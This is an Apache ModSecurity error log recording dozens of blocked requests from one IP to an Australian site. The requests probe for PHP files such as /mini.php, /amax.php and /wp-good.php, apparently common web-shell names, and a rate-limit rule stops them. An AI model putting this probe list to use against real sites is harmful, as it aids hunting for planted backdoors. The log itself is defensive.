[Wed Apr 15 19:00:39.121506 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:51110] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v13g-gnM2Ga0cGAD6SQAAAQA"]
[Wed Apr 15 19:00:39.590143 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:8606] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v18eG3wSKTO7NWFGH6gAAAM0"]
[Wed Apr 15 19:00:39.727937 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:12077] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v18eG3wSKTO7NWFGH6wAAANU"]
[Wed Apr 15 19:00:40.276897 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:39632] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v2Hg-gnM2Ga0cGAD6SgAAARI"]
[Wed Apr 15 19:00:40.289694 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:51106] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2Hg-gnM2Ga0cGAD6SwAAAQ4"]
[Wed Apr 15 19:00:40.853781 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:16745] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v2Hg-gnM2Ga0cGAD6UQAAARM"]
[Wed Apr 15 19:00:40.872727 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:17502] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2Hg-gnM2Ga0cGAD6UgAAARQ"]
[Wed Apr 15 19:00:41.436360 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:20206] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2X5gwVEVXHfVSipqsAAAAEA"]
[Wed Apr 15 19:00:41.445473 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:12059] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2Xg-gnM2Ga0cGAD6UwAAAQE"]
[Wed Apr 15 19:00:42.013252 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:12037] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2ng-gnM2Ga0cGAD6VgAAARA"]
[Wed Apr 15 19:00:42.039944 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:51116] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2hcEkLCmvF0fjDej1gAAAIM"]
[Wed Apr 15 19:00:42.577913 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:17532] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v2hcEkLCmvF0fjDej2wAAAJU"]
[Wed Apr 15 19:00:42.750403 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:8592] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2hcEkLCmvF0fjDej3wAAAII"]
[Wed Apr 15 19:00:43.287300 2026] [:error] [pid 31053:tid 31069] [client 51.120.68.159:50671] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v2xcEkLCmvF0fjDej4wAAAI0"]
[Wed Apr 15 19:00:43.309433 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:8597] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9v2xcEkLCmvF0fjDej5AAAAIg"]
[Wed Apr 15 19:00:43.862658 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:13247] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v23g-gnM2Ga0cGAD6VwAAAQY"]
[Wed Apr 15 19:00:43.945346 2026] [:error] [pid 30957:tid 30996] [client 51.120.68.159:15940] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v235gwVEVXHfVSipqsgAAAEc"]
[Wed Apr 15 19:00:44.444486 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:11377] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v3Hg-gnM2Ga0cGAD6WAAAAQQ"]
[Wed Apr 15 19:00:44.482463 2026] [:error] [pid 37370:tid 37377] [client 51.120.68.159:16709] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v3Hg-gnM2Ga0cGAD6WQAAAQU"]
[Wed Apr 15 19:00:45.056954 2026] [:error] [pid 30956:tid 30967] [client 51.120.68.159:26503] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v3UBGUpjaWntNYq1cywAAAAc"]
[Wed Apr 15 19:00:45.135568 2026] [:error] [pid 30957:tid 31009] [client 51.120.68.159:51114] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3X5gwVEVXHfVSipqtQAAAFQ"]
[Wed Apr 15 19:00:45.590629 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:51101] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9v3ceG3wSKTO7NWFGH8QAAAMM"]
[Wed Apr 15 19:00:45.673551 2026] [:error] [pid 30958:tid 31035] [client 51.120.68.159:12082] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3ceG3wSKTO7NWFGH8wAAANM"]
[Wed Apr 15 19:00:46.183188 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:17506] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3seG3wSKTO7NWFGH9QAAAMs"]
[Wed Apr 15 19:00:46.215442 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:16753] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3seG3wSKTO7NWFGH9wAAAMA"]
[Wed Apr 15 19:00:46.764368 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:16725] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3kBGUpjaWntNYq1czQAAAAY"]
[Wed Apr 15 19:00:46.858461 2026] [:error] [pid 30956:tid 30975] [client 51.120.68.159:50657] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3kBGUpjaWntNYq1czgAAAA8"]
[Wed Apr 15 19:00:47.326346 2026] [:error] [pid 30956:tid 30963] [client 51.120.68.159:35651] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v30BGUpjaWntNYq1c0AAAAAM"]
[Wed Apr 15 19:00:47.410107 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:13210] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v30BGUpjaWntNYq1c0QAAABE"]
[Wed Apr 15 19:00:47.910857 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:38291] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9v3xcEkLCmvF0fjDej-QAAAIc"]
[Wed Apr 15 19:00:47.990319 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:22837] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v3xcEkLCmvF0fjDej-gAAAIA"]
[Wed Apr 15 19:00:48.460494 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:39031] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v4Hg-gnM2Ga0cGAD6XwAAARY"]
[Wed Apr 15 19:00:48.577350 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:13241] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v4Hg-gnM2Ga0cGAD6YgAAAQg"]
[Wed Apr 15 19:00:49.078989 2026] [:error] [pid 30957:tid 30996] [client 51.120.68.159:29861] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v4X5gwVEVXHfVSipqvwAAAEc"]
[Wed Apr 15 19:00:49.105190 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:13213] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v4Xg-gnM2Ga0cGAD6ZQAAAQQ"]
[Wed Apr 15 19:00:49.643615 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:35685] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v4Xg-gnM2Ga0cGAD6aQAAARM"]
[Wed Apr 15 19:00:49.644668 2026] [:error] [pid 30956:tid 30973] [client 51.120.68.159:35680] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v4UBGUpjaWntNYq1c2AAAAA0"]
[Wed Apr 15 19:00:50.221537 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:50683] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9v4seG3wSKTO7NWFGH_AAAAMw"]
[Wed Apr 15 19:00:50.229064 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:8981] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v4hcEkLCmvF0fjDekBQAAAJE"]
[Wed Apr 15 19:00:50.779994 2026] [:error] [pid 30957:tid 30990] [client 51.120.68.159:8994] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v4n5gwVEVXHfVSipqwgAAAEE"]
[Wed Apr 15 19:00:50.837324 2026] [:error] [pid 30957:tid 30993] [client 51.120.68.159:11702] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v4n5gwVEVXHfVSipqwwAAAEQ"]
[Wed Apr 15 19:00:51.337887 2026] [:error] [pid 30958:tid 31025] [client 51.120.68.159:11680] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v48eG3wSKTO7NWFGH_QAAAMk"]
[Wed Apr 15 19:00:51.454380 2026] [:error] [pid 30958:tid 31034] [client 51.120.68.159:39020] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v48eG3wSKTO7NWFGH_gAAANI"]
[Wed Apr 15 19:00:51.902961 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:29854] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v40BGUpjaWntNYq1c2wAAABM"]
[Wed Apr 15 19:00:51.983341 2026] [:error] [pid 30958:tid 31023] [client 51.120.68.159:26556] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v48eG3wSKTO7NWFGIAAAAAMc"]
[Wed Apr 15 19:00:52.458150 2026] [:error] [pid 30956:tid 30980] [client 51.120.68.159:8619] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9v5EBGUpjaWntNYq1c3AAAABQ"]
[Wed Apr 15 19:00:52.503519 2026] [:error] [pid 31053:tid 31075] [client 51.120.68.159:11381] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5BcEkLCmvF0fjDekEAAAAJM"]
[Wed Apr 15 19:00:53.102450 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:20588] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5Xg-gnM2Ga0cGAD6bgAAARA"]
[Wed Apr 15 19:00:53.395670 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:29871] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5Xg-gnM2Ga0cGAD6bwAAAQw"]
[Wed Apr 15 19:00:53.672367 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:15989] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5ceG3wSKTO7NWFGIBAAAAM4"]
[Wed Apr 15 19:00:54.152511 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:35688] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5seG3wSKTO7NWFGIBQAAANc"]
[Wed Apr 15 19:00:54.191971 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:26525] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5kBGUpjaWntNYq1c4AAAABE"]
[Wed Apr 15 19:00:54.733944 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:17516] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9v5ng-gnM2Ga0cGAD6dAAAAQs"]
[Wed Apr 15 19:00:54.749691 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:12055] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9v5ng-gnM2Ga0cGAD6dQAAARI"]
[Wed Apr 15 19:00:55.265103 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:51111] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9v53g-gnM2Ga0cGAD6dwAAAQw"]
[Wed Apr 15 19:00:55.382208 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:11672] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9v53g-gnM2Ga0cGAD6eAAAARY"]
